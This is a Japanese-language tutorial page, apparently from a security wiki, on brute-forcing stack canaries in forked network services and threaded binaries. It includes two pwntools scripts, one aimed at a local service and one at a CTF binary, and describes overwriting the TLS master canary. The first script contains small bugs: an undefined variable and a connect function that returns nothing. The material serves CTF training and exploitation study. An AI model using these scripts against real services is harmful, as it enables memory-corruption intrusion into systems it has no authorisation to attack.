BF Forked & Threaded Stack Canaries

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キャナリーとPIE（位置独立実行可能ファイル）で保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるかもしれません。

checksec がバイナリがキャナリーで保護されていることを見つけられない場合があることに注意してください。これは静的にコンパイルされており、関数を識別することができない場合です。 ただし、関数呼び出しの開始時にスタックに値が保存され、この値が終了前にチェックされる場合、これを手動で気付くことができます。

ブルートフォースキャナリー

単純なキャナリーをバイパスする最良の方法は、バイナリが新しい接続を確立するたびに子プロセスをフォークするプログラム（ネットワークサービス）である場合です。なぜなら、接続するたびに同じキャナリーが使用されるからです。

そのため、キャナリーをバイパスする最良の方法は、単に1文字ずつキャナリーをブルートフォースすることであり、推測されたキャナリーバイトが正しいかどうかを確認するために、プログラムがクラッシュしたかどうか、または通常のフローが続行されたかどうかをチェックできます。この例では、関数は8バイトのキャナリー（x64）をブルートフォースし、正しく推測されたバイトと誤ったバイトを区別します。これは、サーバーからの応答が送信されたかどうかをチェックするだけです（他の状況ではtry/exceptを使用することもできます）：

例1

この例は64ビット用に実装されていますが、32ビット用に簡単に実装できます。

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

例2

これは32ビット用に実装されていますが、簡単に64ビットに変更できます。 また、この例ではプログラムが最初に入力のサイズを示すバイトを期待していることに注意してください。

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

スレッド

同じプロセスのスレッドは同じキャナリートークンを共有するため、バイナリが攻撃が発生するたびに新しいスレッドを生成すると、キャナリーをブルートフォースすることが可能になります。

さらに、キャナリーで保護されたスレッド関数内のバッファオーバーフローは、TLSに格納されているマスターキャナリーを変更するために使用できます。これは、スレッドのスタック内のbofを介してTLSが格納されているメモリ位置に到達する可能性があるためです。 その結果、チェックが2つの同じキャナリーで使用されるため（変更されていても）、対策は無効になります。 この攻撃は、次の解説で実行されます: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

また、https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015のプレゼンテーションもチェックしてください。通常、TLSは**mmapによって格納され、スレッドのスタック**が作成されるときも、これによってmmapによって生成されると述べられており、前述の解説に示されているようにオーバーフローが可能になるかもしれません。

その他の例と参照

• https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html

• 64ビット、PIEなし、nx、BFキャナリー、メモリにexecveを呼び出すROPを書き込み、そこにジャンプします。